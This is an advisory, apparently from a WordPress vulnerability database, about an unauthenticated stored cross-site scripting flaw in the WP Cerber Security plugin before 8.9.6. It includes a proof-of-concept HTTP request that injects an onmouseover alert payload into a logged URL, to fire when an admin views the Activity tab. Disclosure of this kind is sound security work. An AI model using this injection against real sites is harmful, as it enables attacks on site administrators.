WordPress Plugin Vulnerabilities
WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Unauthenticated Stored Cross-Site Scripting
Description
The plugin does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.
Proof of Concept
POST /"/onmouseover=alert(1);// HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 100 a[b][c][d][e][f][g][h][i][j][k][l][m][n][o][p][q][r][s][t][u][v][w][x][y][z][1][2][3][4][5][6]=12345 Then the admin needs to browse to http://127.0.0.1:8001/wp-admin/admin.php?page=cerber-security&tab=activity and move mouse over the link.
Affects Plugins
Fixed in 8.9.6 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-14 (about 2 years ago)
Added
2022-02-14 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
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